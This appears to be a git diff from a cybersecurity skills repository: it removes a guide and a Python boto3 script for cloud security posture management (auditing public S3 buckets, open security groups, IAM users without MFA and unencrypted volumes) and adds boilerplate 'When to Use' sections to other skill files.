worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,258 +0,0 @@
|
||||
---
|
||||
name: building-cloud-security-posture-management
|
||||
description: >
|
||||
This skill guides security architects through designing and implementing a cloud
|
||||
security posture management program that continuously monitors infrastructure
|
||||
configurations across AWS, Azure, and GCP. It covers selecting CSPM tooling such
|
||||
as Wiz, Prisma Cloud, or native services, defining policy baselines, automating
|
||||
drift detection, and integrating posture findings into SOC workflows.
|
||||
domain: cybersecurity
|
||||
subdomain: cloud-security
|
||||
tags: [cspm, cloud-misconfiguration, security-posture, drift-detection, multi-cloud-governance]
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Building Cloud Security Posture Management
|
||||
|
||||
## When to Use
|
||||
|
||||
- When an organization lacks visibility into cloud misconfigurations across multiple accounts and providers
|
||||
- When compliance requirements demand continuous posture monitoring against CIS, NIST, or SOC 2 frameworks
|
||||
- When security teams need to prioritize which misconfigurations to remediate based on actual risk
|
||||
- When migrating workloads to the cloud and establishing security baselines before production deployment
|
||||
- When integrating cloud posture findings into an existing SOC or SIEM platform
|
||||
|
||||
**Do not use** for runtime threat detection (see detecting-cloud-threats-with-guardduty), for application-level vulnerability scanning (see securing-serverless-functions), or for network traffic analysis (see implementing-cloud-network-segmentation).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Cloud accounts across target providers (AWS, Azure, GCP) with read-only API access for CSPM tools
|
||||
- Defined compliance framework requirements (CIS Benchmarks, NIST 800-53, PCI-DSS, SOC 2)
|
||||
- SIEM or ticketing system for finding ingestion and workflow management
|
||||
- Budget allocation for commercial CSPM tooling or engineering capacity for native tool integration
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Assess Current Cloud Estate and Risk Appetite
|
||||
|
||||
Inventory all cloud accounts, subscriptions, and projects. Classify them by data sensitivity, regulatory requirements, and business criticality to determine CSPM coverage scope.
|
||||
|
||||
```
|
||||
Cloud Estate Inventory:
|
||||
+----------------+----------+------------+--------------------+------------------+
|
||||
| Provider | Accounts | Workloads | Data Classification| Compliance Needs |
|
||||
+----------------+----------+------------+--------------------+------------------+
|
||||
| AWS | 45 | Production | Confidential | PCI-DSS, SOC 2 |
|
||||
| AWS | 12 | Dev/Test | Internal | SOC 2 |
|
||||
| Azure | 8 | Production | Restricted (PII) | GDPR, SOC 2 |
|
||||
| GCP | 3 | Analytics | Confidential | SOC 2 |
|
||||
+----------------+----------+------------+--------------------+------------------+
|
||||
```
|
||||
|
||||
### Step 2: Select and Deploy CSPM Tooling
|
||||
|
||||
Evaluate CSPM solutions based on multi-cloud support, policy coverage, agentless scanning, attack path analysis, and integration capabilities.
|
||||
|
||||
**Native Tools:**
|
||||
- AWS Security Hub CSPM with Config rules
|
||||
- Microsoft Defender for Cloud CSPM
|
||||
- Google Security Command Center Premium
|
||||
|
||||
**Commercial Platforms:**
|
||||
- Wiz: Agentless, graph-based visibility, attack path analysis, highest market mindshare (20.2%)
|
||||
- Prisma Cloud (now Cortex Cloud): CSPM + CWP + CIEM, 3,000+ built-in policies
|
||||
- Orca Security: SideScanning technology, agentless full-stack visibility
|
||||
- Lacework: Anomaly-based detection with behavioral analysis
|
||||
|
||||
```bash
|
||||
# Example: Deploy Wiz connector for AWS using CloudFormation
|
||||
aws cloudformation create-stack \
|
||||
--stack-name wiz-connector \
|
||||
--template-url https://wiz-advanced-security.s3.amazonaws.com/wiz-aws-connector.yaml \
|
||||
--parameters ParameterKey=ExternalId,ParameterValue=<wiz-external-id> \
|
||||
--capabilities CAPABILITY_NAMED_IAM
|
||||
|
||||
# Example: Configure Prisma Cloud AWS onboarding
|
||||
# Prisma Cloud uses a cross-account IAM role for read-only access
|
||||
aws iam create-role \
|
||||
--role-name PrismaCloudReadOnly \
|
||||
--assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::188619942792:root"},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {"StringEquals": {"sts:ExternalId": "<prisma-external-id>"}}
|
||||
}]
|
||||
}'
|
||||
```
|
||||
|
||||
### Step 3: Define Policy Baselines and Custom Rules
|
||||
|
||||
Map compliance framework controls to CSPM policies. Create custom rules for organization-specific requirements that go beyond standard benchmarks.
|
||||
|
||||
```yaml
|
||||
# Example custom CSPM policy definitions
|
||||
policies:
|
||||
- name: s3-bucket-encryption-required
|
||||
description: All S3 buckets must have AES-256 or KMS encryption enabled
|
||||
provider: aws
|
||||
resource_type: aws_s3_bucket
|
||||
severity: HIGH
|
||||
rule: |
|
||||
resource.encryption.rules[0].apply_server_side_encryption_by_default.sse_algorithm
|
||||
in ["aws:kms", "AES256"]
|
||||
remediation: Enable default encryption on the S3 bucket using AES-256 or AWS KMS
|
||||
compliance_mapping:
|
||||
- CIS_AWS_v5.0: "2.1.1"
|
||||
- PCI_DSS: "3.4"
|
||||
- SOC2: "CC6.1"
|
||||
|
||||
- name: public-ip-not-attached-to-compute
|
||||
description: Production compute instances must not have public IP addresses
|
||||
provider: aws
|
||||
resource_type: aws_ec2_instance
|
||||
severity: CRITICAL
|
||||
rule: |
|
||||
resource.public_ip_address == null AND
|
||||
resource.tags["Environment"] == "production"
|
||||
remediation: Remove public IP and route traffic through a load balancer or NAT gateway
|
||||
|
||||
- name: storage-account-private-endpoint
|
||||
description: Azure storage accounts must use private endpoints only
|
||||
provider: azure
|
||||
resource_type: azurerm_storage_account
|
||||
severity: HIGH
|
||||
rule: |
|
||||
resource.network_rules.default_action == "Deny" AND
|
||||
resource.private_endpoint_connections.length > 0
|
||||
```
|
||||
|
||||
### Step 4: Automate Drift Detection and Alerting
|
||||
|
||||
Configure continuous scanning intervals, drift detection thresholds, and alert routing to ensure new misconfigurations are detected within minutes of resource creation or modification.
|
||||
|
||||
```bash
|
||||
# AWS Config rule for drift detection on S3 public access
|
||||
aws configservice put-config-rule \
|
||||
--config-rule '{
|
||||
"ConfigRuleName": "s3-bucket-public-read-prohibited",
|
||||
"Source": {
|
||||
"Owner": "AWS",
|
||||
"SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED"
|
||||
},
|
||||
"Scope": {"ComplianceResourceTypes": ["AWS::S3::Bucket"]}
|
||||
}'
|
||||
|
||||
# Auto-remediation using SSM Automation
|
||||
aws configservice put-remediation-configurations \
|
||||
--remediation-configurations '[{
|
||||
"ConfigRuleName": "s3-bucket-public-read-prohibited",
|
||||
"TargetType": "SSM_DOCUMENT",
|
||||
"TargetId": "AWS-DisableS3BucketPublicReadWrite",
|
||||
"Automatic": true,
|
||||
"MaximumAutomaticAttempts": 3,
|
||||
"RetryAttemptSeconds": 60
|
||||
}]'
|
||||
```
|
||||
|
||||
### Step 5: Prioritize Findings with Context-Aware Risk Scoring
|
||||
|
||||
Move beyond severity-only prioritization. Use attack path analysis, asset context, and exploitability data to focus remediation on findings that represent actual risk.
|
||||
|
||||
```
|
||||
Risk Prioritization Matrix:
|
||||
+----------------------------+----------+-----------+--------+-------------+
|
||||
| Finding | Severity | Exposed | Attack | Priority |
|
||||
| | | Internet? | Path? | Score |
|
||||
+----------------------------+----------+-----------+--------+-------------+
|
||||
| S3 bucket public read | HIGH | Yes | Yes | CRITICAL |
|
||||
| RDS no encryption at rest | HIGH | No | No | MEDIUM |
|
||||
| SG allows 0.0.0.0/0:22 | HIGH | Yes | Yes | CRITICAL |
|
||||
| CloudTrail not enabled | MEDIUM | No | No | HIGH |
|
||||
| EBS volume not encrypted | MEDIUM | No | No | LOW |
|
||||
+----------------------------+----------+-----------+--------+-------------+
|
||||
```
|
||||
|
||||
### Step 6: Integrate with SOC Workflows and Reporting
|
||||
|
||||
Feed CSPM findings into SIEM platforms, create Jira tickets for remediation tracking, and build executive dashboards for posture trending.
|
||||
|
||||
```bash
|
||||
# Export findings to Amazon Security Lake in OCSF format
|
||||
aws securitylake create-subscriber \
|
||||
--subscriber-name cspm-siem-integration \
|
||||
--sources '[{"awsLogSource": {"sourceName": "SH_FINDINGS"}}]' \
|
||||
--subscriber-identity '{"principal": "arn:aws:iam::123456789012:role/SIEMIngestionRole", "externalId": "siem-ext-id"}'
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| CSPM | Cloud Security Posture Management: continuous monitoring service that identifies cloud infrastructure misconfigurations and compliance violations |
|
||||
| Configuration Drift | Deviation from a defined security baseline that occurs when resources are modified outside of approved change management processes |
|
||||
| Attack Path | A multi-step chain of misconfigurations and vulnerabilities that an adversary could exploit to move from an entry point to a critical asset |
|
||||
| Agentless Scanning | CSPM approach that uses cloud provider APIs and snapshot analysis to assess security posture without installing agents on workloads |
|
||||
| Policy as Code | Defining security policies in machine-readable formats (Rego, YAML, JSON) that can be version-controlled and automatically enforced |
|
||||
| Compliance Framework | Structured set of security controls and requirements such as CIS Benchmarks, NIST 800-53, PCI-DSS, or SOC 2 used to measure posture |
|
||||
| Security Graph | Graph database representing relationships between cloud resources, identities, network paths, and vulnerabilities for contextual risk analysis |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Wiz**: Agentless CNAPP providing graph-based CSPM, attack path analysis, and vulnerability management across all major cloud providers
|
||||
- **Prisma Cloud / Cortex Cloud**: Palo Alto Networks CNAPP with 3,000+ built-in policies covering CSPM, CWP, CIEM, and IaC security
|
||||
- **AWS Security Hub CSPM**: Native AWS posture management with automated checks against CIS v5.0 and AWS Foundational Security Best Practices
|
||||
- **Prowler**: Open-source AWS/Azure/GCP security assessment tool with 300+ checks and CIS benchmark support
|
||||
- **Steampipe**: Open-source SQL-based cloud configuration querying tool supporting 140+ plugins for multi-cloud posture queries
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Post-Acquisition Cloud Posture Assessment
|
||||
|
||||
**Context**: A company acquires a startup with 30 AWS accounts and 5 GCP projects. No CSPM tooling is in place and the security team needs to assess the inherited environment within two weeks.
|
||||
|
||||
**Approach**:
|
||||
1. Deploy an agentless CSPM tool (Wiz or Orca) using read-only cross-account roles for immediate visibility without agent installation
|
||||
2. Run initial scans against CIS Benchmarks for both AWS and GCP to establish a baseline posture score
|
||||
3. Identify Critical findings: publicly exposed databases, unencrypted storage with sensitive data, overprivileged service accounts
|
||||
4. Prioritize attack paths that connect internet-exposed resources to data stores containing customer PII
|
||||
5. Deliver an executive summary with risk-ranked findings and a 90-day remediation roadmap
|
||||
6. Integrate the acquired accounts into the existing CSPM platform with continuous monitoring
|
||||
|
||||
**Pitfalls**: Deploying agents for the initial assessment adds weeks of delay. Using only native tools for a multi-cloud assessment creates separate dashboards and makes cross-cloud comparison difficult.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
Cloud Security Posture Assessment Report
|
||||
==========================================
|
||||
Organization: Acme Corp
|
||||
Cloud Providers: AWS (57 accounts), Azure (8 subscriptions), GCP (3 projects)
|
||||
CSPM Platform: Wiz
|
||||
Assessment Date: 2025-02-23
|
||||
|
||||
OVERALL POSTURE SCORE: 68/100
|
||||
|
||||
FINDINGS BY SEVERITY:
|
||||
Critical: 47 (Internet-exposed + data access risk)
|
||||
High: 234 (Misconfiguration with limited exposure)
|
||||
Medium: 891 (Non-compliant but low immediate risk)
|
||||
Low: 1,567 (Informational or best practice)
|
||||
|
||||
TOP ATTACK PATHS:
|
||||
1. Internet -> Public S3 Bucket (PII data) -> No encryption
|
||||
Affected: 3 accounts | Risk: Critical | ETA to remediate: 1 day
|
||||
2. Internet -> EC2 (SSH open) -> IAM Role -> Cross-Account Admin
|
||||
Affected: 1 account | Risk: Critical | ETA to remediate: 2 days
|
||||
3. Internet -> Azure App Service -> SQL Server (public endpoint)
|
||||
Affected: 2 subscriptions | Risk: Critical | ETA to remediate: 3 days
|
||||
|
||||
COMPLIANCE STATUS:
|
||||
CIS AWS v5.0: 62% compliant (340/548 controls passing)
|
||||
CIS Azure v4.0: 71% compliant (189/266 controls passing)
|
||||
CIS GCP v4.0: 58% compliant (87/150 controls passing)
|
||||
SOC 2 Type II: 74% controls mapped and passing
|
||||
```
|
||||
@@ -1,74 +0,0 @@
|
||||
# API Reference: Building Cloud Security Posture Management
|
||||
|
||||
## boto3 - AWS CSPM Checks
|
||||
|
||||
### S3 Public Access
|
||||
|
||||
```python
|
||||
s3 = boto3.client("s3")
|
||||
pab = s3.get_public_access_block(Bucket="my-bucket")
|
||||
config = pab["PublicAccessBlockConfiguration"]
|
||||
```
|
||||
|
||||
### Unencrypted EBS Volumes
|
||||
|
||||
```python
|
||||
ec2 = boto3.client("ec2")
|
||||
for vol in ec2.describe_volumes()["Volumes"]:
|
||||
if not vol["Encrypted"]:
|
||||
print(f"Unencrypted: {vol['VolumeId']}")
|
||||
```
|
||||
|
||||
### Open Security Groups
|
||||
|
||||
```python
|
||||
for sg in ec2.describe_security_groups()["SecurityGroups"]:
|
||||
for rule in sg["IpPermissions"]:
|
||||
for ip in rule.get("IpRanges", []):
|
||||
if ip["CidrIp"] == "0.0.0.0/0":
|
||||
print(f"OPEN: {sg['GroupId']} port {rule['FromPort']}")
|
||||
```
|
||||
|
||||
### IAM Users Without MFA
|
||||
|
||||
```python
|
||||
iam = boto3.client("iam")
|
||||
for user in iam.list_users()["Users"]:
|
||||
mfa = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"]
|
||||
if not mfa:
|
||||
print(f"No MFA: {user['UserName']}")
|
||||
```
|
||||
|
||||
### Public RDS Instances
|
||||
|
||||
```python
|
||||
rds = boto3.client("rds")
|
||||
for db in rds.describe_db_instances()["DBInstances"]:
|
||||
if db["PubliclyAccessible"]:
|
||||
print(f"Public RDS: {db['DBInstanceIdentifier']}")
|
||||
```
|
||||
|
||||
## Key CSPM Checks
|
||||
|
||||
| Check | Service | boto3 Method |
|
||||
|-------|---------|-------------|
|
||||
| Public S3 | S3 | `get_public_access_block()` |
|
||||
| Unencrypted EBS | EC2 | `describe_volumes()` |
|
||||
| Open SGs | EC2 | `describe_security_groups()` |
|
||||
| No MFA | IAM | `list_mfa_devices()` |
|
||||
| Public RDS | RDS | `describe_db_instances()` |
|
||||
| CloudTrail | CloudTrail | `describe_trails()` |
|
||||
|
||||
## Steampipe (SQL-Based CSPM)
|
||||
|
||||
```sql
|
||||
select name, region, server_side_encryption_configuration
|
||||
from aws_s3_bucket
|
||||
where server_side_encryption_configuration is null;
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- boto3: https://boto3.amazonaws.com/v1/documentation/api/latest/
|
||||
- Prowler: https://github.com/prowler-cloud/prowler
|
||||
- Steampipe: https://steampipe.io/
|
||||
@@ -1,158 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for building cloud security posture management across AWS/Azure/GCP."""
|
||||
|
||||
import os
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
import boto3
|
||||
from botocore.exceptions import ClientError
|
||||
|
||||
|
||||
def check_s3_public_buckets(session):
|
||||
"""Check for publicly accessible S3 buckets."""
|
||||
s3 = session.client("s3")
|
||||
buckets = s3.list_buckets()["Buckets"]
|
||||
findings = []
|
||||
for b in buckets:
|
||||
name = b["Name"]
|
||||
try:
|
||||
pab = s3.get_public_access_block(Bucket=name)
|
||||
config = pab["PublicAccessBlockConfiguration"]
|
||||
if not all([config.get("BlockPublicAcls"), config.get("IgnorePublicAcls"),
|
||||
config.get("BlockPublicPolicy"), config.get("RestrictPublicBuckets")]):
|
||||
findings.append({"bucket": name, "issue": "Incomplete public access block", "severity": "HIGH"})
|
||||
except ClientError:
|
||||
findings.append({"bucket": name, "issue": "No public access block configured", "severity": "HIGH"})
|
||||
return findings
|
||||
|
||||
|
||||
def check_unencrypted_ebs(session):
|
||||
"""Check for unencrypted EBS volumes."""
|
||||
ec2 = session.client("ec2")
|
||||
volumes = ec2.describe_volumes()["Volumes"]
|
||||
unencrypted = [
|
||||
{"volume_id": v["VolumeId"], "state": v["State"], "size_gb": v["Size"]}
|
||||
for v in volumes if not v.get("Encrypted")
|
||||
]
|
||||
return unencrypted
|
||||
|
||||
|
||||
def check_public_security_groups(session):
|
||||
"""Check for security groups allowing unrestricted inbound access."""
|
||||
ec2 = session.client("ec2")
|
||||
sgs = ec2.describe_security_groups()["SecurityGroups"]
|
||||
findings = []
|
||||
dangerous_ports = [22, 3389, 3306, 5432, 1433, 27017]
|
||||
for sg in sgs:
|
||||
for rule in sg.get("IpPermissions", []):
|
||||
for ip_range in rule.get("IpRanges", []):
|
||||
if ip_range.get("CidrIp") == "0.0.0.0/0":
|
||||
from_port = rule.get("FromPort", 0)
|
||||
to_port = rule.get("ToPort", 65535)
|
||||
severity = "CRITICAL" if any(from_port <= p <= to_port for p in dangerous_ports) else "HIGH"
|
||||
findings.append({
|
||||
"sg_id": sg["GroupId"],
|
||||
"sg_name": sg.get("GroupName"),
|
||||
"port_range": f"{from_port}-{to_port}",
|
||||
"source": "0.0.0.0/0",
|
||||
"severity": severity,
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def check_iam_users_without_mfa(session):
|
||||
"""Check for IAM users without MFA enabled."""
|
||||
iam = session.client("iam")
|
||||
users = iam.list_users()["Users"]
|
||||
no_mfa = []
|
||||
for user in users:
|
||||
mfa_devices = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"]
|
||||
if not mfa_devices:
|
||||
no_mfa.append({"username": user["UserName"], "created": str(user["CreateDate"])})
|
||||
return no_mfa
|
||||
|
||||
|
||||
def check_rds_public_access(session):
|
||||
"""Check for RDS instances with public accessibility."""
|
||||
rds = session.client("rds")
|
||||
instances = rds.describe_db_instances()["DBInstances"]
|
||||
public = [
|
||||
{"instance": db["DBInstanceIdentifier"], "engine": db["Engine"], "endpoint": db.get("Endpoint", {}).get("Address", "")}
|
||||
for db in instances if db.get("PubliclyAccessible")
|
||||
]
|
||||
return public
|
||||
|
||||
|
||||
def check_cloudtrail_enabled(session):
|
||||
"""Check if CloudTrail is enabled with multi-region logging."""
|
||||
ct = session.client("cloudtrail")
|
||||
trails = ct.describe_trails()["trailList"]
|
||||
multiregion = [t for t in trails if t.get("IsMultiRegionTrail")]
|
||||
if not multiregion:
|
||||
return {"status": "FAIL", "detail": "No multi-region CloudTrail found"}
|
||||
return {"status": "PASS", "trails": len(multiregion)}
|
||||
|
||||
|
||||
def calculate_posture_score(findings_summary):
|
||||
"""Calculate an overall security posture score."""
|
||||
total_checks = sum(findings_summary.values())
|
||||
if total_checks == 0:
|
||||
return 100
|
||||
critical = findings_summary.get("critical", 0)
|
||||
high = findings_summary.get("high", 0)
|
||||
medium = findings_summary.get("medium", 0)
|
||||
deductions = (critical * 15) + (high * 8) + (medium * 3)
|
||||
return max(0, 100 - deductions)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Cloud Security Posture Management Agent")
|
||||
parser.add_argument("--profile", default=os.getenv("AWS_PROFILE"))
|
||||
parser.add_argument("--region", default=os.getenv("AWS_DEFAULT_REGION", "us-east-1"))
|
||||
parser.add_argument("--output", default="cspm_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
||||
account = session.client("sts").get_caller_identity()["Account"]
|
||||
print(f"[+] CSPM scan for account {account}")
|
||||
|
||||
report = {"account": account, "scan_date": datetime.utcnow().isoformat(), "findings": {}}
|
||||
|
||||
print("[+] Checking S3 bucket public access...")
|
||||
report["findings"]["s3_public"] = check_s3_public_buckets(session)
|
||||
print(f" Issues: {len(report['findings']['s3_public'])}")
|
||||
|
||||
print("[+] Checking unencrypted EBS volumes...")
|
||||
report["findings"]["unencrypted_ebs"] = check_unencrypted_ebs(session)
|
||||
print(f" Unencrypted: {len(report['findings']['unencrypted_ebs'])}")
|
||||
|
||||
print("[+] Checking public security groups...")
|
||||
report["findings"]["public_sgs"] = check_public_security_groups(session)
|
||||
print(f" Open rules: {len(report['findings']['public_sgs'])}")
|
||||
|
||||
print("[+] Checking IAM users without MFA...")
|
||||
report["findings"]["no_mfa_users"] = check_iam_users_without_mfa(session)
|
||||
print(f" Without MFA: {len(report['findings']['no_mfa_users'])}")
|
||||
|
||||
print("[+] Checking public RDS instances...")
|
||||
report["findings"]["public_rds"] = check_rds_public_access(session)
|
||||
print(f" Public: {len(report['findings']['public_rds'])}")
|
||||
|
||||
print("[+] Checking CloudTrail...")
|
||||
report["findings"]["cloudtrail"] = check_cloudtrail_enabled(session)
|
||||
|
||||
critical = sum(1 for f in report["findings"].get("public_sgs", []) if f.get("severity") == "CRITICAL")
|
||||
high = len(report["findings"]["s3_public"]) + len(report["findings"]["no_mfa_users"])
|
||||
medium = len(report["findings"]["unencrypted_ebs"])
|
||||
report["posture_score"] = calculate_posture_score({"critical": critical, "high": high, "medium": medium})
|
||||
print(f"\n[+] Posture Score: {report['posture_score']}/100")
|
||||
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Splunk Search Processing Language (SPL) is the primary query language used in Splunk Enterprise Security for building correlation searches that detect suspicious events and patterns. A well-crafted detection rule aggregates, correlates, and enriches security events to generate actionable notable events for SOC analysts. Enterprise SIEMs on average cover only 21% of MITRE ATT&CK techniques, making skilled SPL rule writing essential for closing detection gaps.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building detection rule with splunk spl capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Splunk Enterprise Security (ES) deployed and configured
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
GitLab provides an integrated DevSecOps platform that embeds security testing directly into the CI/CD pipeline. By leveraging GitLab's built-in security scanners---SAST, DAST, container scanning, dependency scanning, secret detection, and license compliance---teams can shift security left, catching vulnerabilities during development rather than post-deployment. GitLab Duo AI assists with false positive detection for SAST vulnerabilities, helping security teams focus on genuine issues.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building devsecops pipeline with gitlab ci capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- GitLab Ultimate license (required for full security scanner suite)
|
||||
|
||||
@@ -15,6 +15,21 @@ license: Apache-2.0
|
||||
|
||||
Timesketch is an open-source collaborative forensic timeline analysis tool developed by Google that enables security teams to visualize and analyze chronological data from multiple sources during incident investigations. It ingests logs and artifacts from endpoints, servers, and cloud services, normalizes them into a unified searchable timeline, and provides powerful analysis capabilities including built-in analyzers, tagging, sketch annotations, and story building. Timesketch integrates with Plaso (log2timeline) for artifact parsing and supports direct CSV/JSONL ingestion for rapid timeline construction during active incidents.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building incident timeline with timesketch capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with incident response concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Architecture and Components
|
||||
|
||||
### Core Components
|
||||
|
||||
@@ -15,6 +15,21 @@ license: Apache-2.0
|
||||
|
||||
Effective communication during malware incidents is critical for coordinated response, stakeholder management, and regulatory compliance. A structured communication framework ensures the right people receive appropriate information at the right time, preventing panic while maintaining transparency. Communication templates should cover internal escalation, executive briefings, technical advisories for IT teams, customer notifications, regulatory disclosures, and media statements. The framework must account for different malware types (ransomware, wiper, trojan, worm) and severity levels that drive escalation speed and audience.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring building malware incident communication template capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
